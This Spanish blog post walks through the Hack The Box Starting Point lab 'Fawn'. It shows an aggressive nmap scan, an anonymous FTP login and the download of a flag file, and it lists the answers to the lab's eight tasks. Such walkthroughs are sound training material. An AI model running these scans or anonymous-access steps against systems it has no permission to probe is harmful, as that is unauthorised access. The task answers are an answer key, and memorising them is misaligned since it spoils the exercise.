Este post forma parte de la serie Tier 0 del Starting Point de HTB que iniciamos aquí.
Fawn
El primer paso será iniciar la máquina (para lo que previamente tendremos que tener establecida nuestra conexión VPN)
Copiamos la IP del equipo remoto, en mi caso 10.129.211.1, y lanzamos un nmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier0]
└─$ nmap -A 10.129.211.1 -oN nmap_output
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-09 10:37 CEST
Nmap scan report for 10.129.211.1
Host is up (0.047s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.xx.xx
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.39 seconds
Significado de las flags:
-A: escaneo completo (aka agresivo) que ejecuta OS detection, version detection, script scanning y traceroute todo del tirón.-oN: imprime la salida en un fichero de texto con el nombre nmap_output
En vista de que tiene un servicio ftp corriendo en el puerto 21/tcp vamos a por él utilizando el usuario anonymous y sin password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(ewan67㉿kali)-[~/Documents/Cybersecurity/HTB/Tier0]
└─$ ftp 10.129.211.1
Connected to 10.129.211.1.
220 (vsFTPd 3.0.3)
Name (10.129.211.1:ewan67): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||5149|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt
226 Directory send OK.
ftp> get flag.txt
local: flag.txt remote: flag.txt
229 Entering Extended Passive Mode (|||47085|)
150 Opening BINARY mode data connection for flag.txt (32 bytes).
100% |*************************************************************************************************************************| 32 0.39 KiB/s 00:00 ETA
226 Transfer complete.
32 bytes received in 00:00 (0.21 KiB/s)
ftp>
En nuestro directorio de trabajo tendremos descargado el fichero flag.txt con la bandera correspondiente.
Respuestas:
- Task 1: File Transfer Protocol
- Task 2: 21
- Task 3: SFTP
- Task 4: ping
- Task 5: vsftpd 3.0.3
- Task 6: Unix
- Task 7: ftp -h
- Task 8: anonymous